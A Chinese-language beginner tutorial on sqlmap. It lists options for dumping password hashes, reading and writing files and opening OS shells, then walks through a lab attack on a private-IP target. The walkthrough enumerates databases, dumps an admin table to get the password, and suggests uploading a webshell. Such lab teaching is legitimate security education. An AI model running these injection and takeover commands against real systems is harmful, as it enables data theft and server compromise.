sqlmap注入入門

sqlmap注入入門

sqlmap的用法:

​ linux中: sqlmap [選項]

​ Windows中: python sqlmap [選項]

常用的參數及含義:
  • 目標

    ​ -d DIRECT 直接連接數據庫

    ​ -u URL, --url=URL 目標 URL(例如:"http://www.site.com/vuln.php?id=1")

    ​ -l LOGFILE 從 Burp 或 WebScarab 代理的日誌文件中解析目標地址

    ​ -x SITEMAPURL 從遠程網站地圖(.xml)文件中解析目標

    ​ -m BULKFILE 從文本文件中獲取批量目標

    ​ -r REQUESTFILE 從文件中讀取 HTTP 請求

    ​ -g GOOGLEDORK 使用 Google dork 結果作爲目標

    ​ -c CONFIGFILE 從 INI 配置文件中加載選項

  • 枚舉:

    ​ 以下選項用於獲取後端數據庫管理系統的信息,結構和數據表中的數據。此外,還可以運行你輸入的 SQL 語句

    ​ a, --all 獲取所有信息、數據

    ​ -b, --banner 獲取 DBMS banner

    ​ --current-user 獲取 DBMS 當前用戶

    ​ --current-db 獲取 DBMS 當前數據庫

    ​ --hostname 獲取 DBMS 服務器的主機名

    ​ --is-dba 探測 DBMS 當前用戶是否爲 DBA(數據庫管理員)

    ​ --users 枚舉出 DBMS 所有用戶

    ​ --passwords 枚舉出 DBMS 所有用戶的密碼哈希

    ​ --sql-query=QUERY 指定要執行的 SQL 語句

    ​ --sql-shell 調出交互式 SQL shell

    ​ --sql-file=SQLFILE 執行文件中的 SQL 語句

  • 暴力破解:

    ​ 以下選項用於暴力破解測試

    ​ --common-tables 檢測常見的表名是否存在

    ​ --common-columns 檢測常用的列名是否存在

  • 訪問文件系統:

    ​ 以下選項用於訪問後端數據庫管理系統的底層文件系統

    ​ --file-read=RFILE 讀取後端 DBMS 文件系統中的文件

    ​ --file-write=WFILE 寫入後端 DBMS 文件系統中的文件

    ​ --file-dest=DFILE 使用文件絕對路徑寫入到後端 DBMS

  • 訪問操作系統:

    ​ 以下選項用於訪問後端數據庫管理系統的底層操作系統

    ​ --os-cmd=OSCMD 執行操作系統命令

    ​ --os-shell 調出交互式操作系統 shell

    ​ --os-pwn 調出 OOB shell,Meterpreter 或 VNC

    ​ --os-smbrelay 一鍵調出 OOB shell,Meterpreter 或 VNC


    靶機實戰
    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11

可以得出目標主機是Ubuntu,web服務爲apache,數據庫管理系統是MySQL以及它們的版本信息。

  1. 列舉出DBMS中所有的數據庫

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --dbs

  1. 獲取DBMS當前數據庫

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --current-db

  1. 列舉出test數據庫中的所有表名

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 -D test --tables

 我們發現了一個admin表,猜測其中可能有網站管路員的密碼信息
  1. 查詢admin表中的所有信息

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --sql-query="select * from test.admin;"
    

 我們獲得了admin賬戶的密碼,爲mysql,我們可以利用admin用戶,向目標服務器上傳一句話木馬,獲取webshell。(可以自行百度“一句話木馬”)
  1. 調出交互式SQL shell

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --sql-shell

在sql-shell可以執行sql查詢語句

    select * from test.admin;
  

和第四步得到的結果是一樣的

##### 小結

利用SQLmap可以進行簡單的sql注入,方便快捷。利用sqlmap可以查看目標機器的os,DBMS等。還可以可以枚舉數據庫、表、列。以上結果只是爲了演示sqlmap的基本用法,在實際操作中很可能注入失敗,可以進一步的查看sqlmap wiki。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章